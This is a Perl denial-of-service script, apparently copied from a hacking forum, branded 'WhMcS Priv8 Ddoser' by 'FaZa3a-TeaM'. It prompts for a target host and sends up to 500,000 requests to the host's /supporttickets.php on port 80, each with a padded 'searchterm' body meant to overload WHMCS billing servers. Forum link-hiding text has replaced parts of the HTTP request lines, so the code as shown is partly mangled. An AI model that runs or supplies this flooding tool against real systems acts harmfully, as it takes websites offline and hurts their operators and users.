WhMcS

#!/usr/bin/perl
# Ddoser Coded by FaZa3a-TeM
# https://www.facebook.com/Faza3a.gov
#################################
#
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@ @ @@@@@@@@@@ @@@ @@@@@@
# @@@ @@@@@@@@@@@ @@@ @@ @@@ @@ @@@ @@@@@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@ @@@ @@ @@@ @@ @@@ @@@ @@@ @@@
# @@@ @@@@@@@@@@@ @@@@@ @@@@@@@@@@ @@@ @@@ @@@ @@@
#
#####################################

use IO::Socket;
print "################################################## ########\n";
print "# #\n";
print "# WhMcS Priv8 Ddoser #\n";
print "# --------------------- #\n";
print "# example: clients.site.com #\n";
print "# C0deD By FaZa3a-TeaM #\n";
print "# https://www.facebook.com/Faza3a.gov #\n";
print "# #\n";
print "################################################## ########\n";
print "example = clients.site.com : ";
$HOST = <STDIN>;
chop ($HOST);

$i=0;
while($i<500000){
$i++;

$lower=1;
$upper=200000;
$random = int(rand( $upper-$lower+1 ) ) + $lower;
$FILE = "searchterm=%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0%0% 0%0%0%0%0%0";
$LENGTH = length $FILE;

$get1 = IO::Socket::INET->new( Proto => "tcp", PeerAddr => "$HOST", PeerPort => "80") || die "+";
print $get1 "GET /supporttickets.php [Only registered and activated users can see links]";
print $get1 "Host: ".$HOST. "\n";
print $get1 "Content-Type: application/x-[Only registered and activated users can see links]";
print $get1 "Content-Length: ".$LENGTH."\n\n";
print $get1 $FILE;
syswrite STDOUT, "+";
}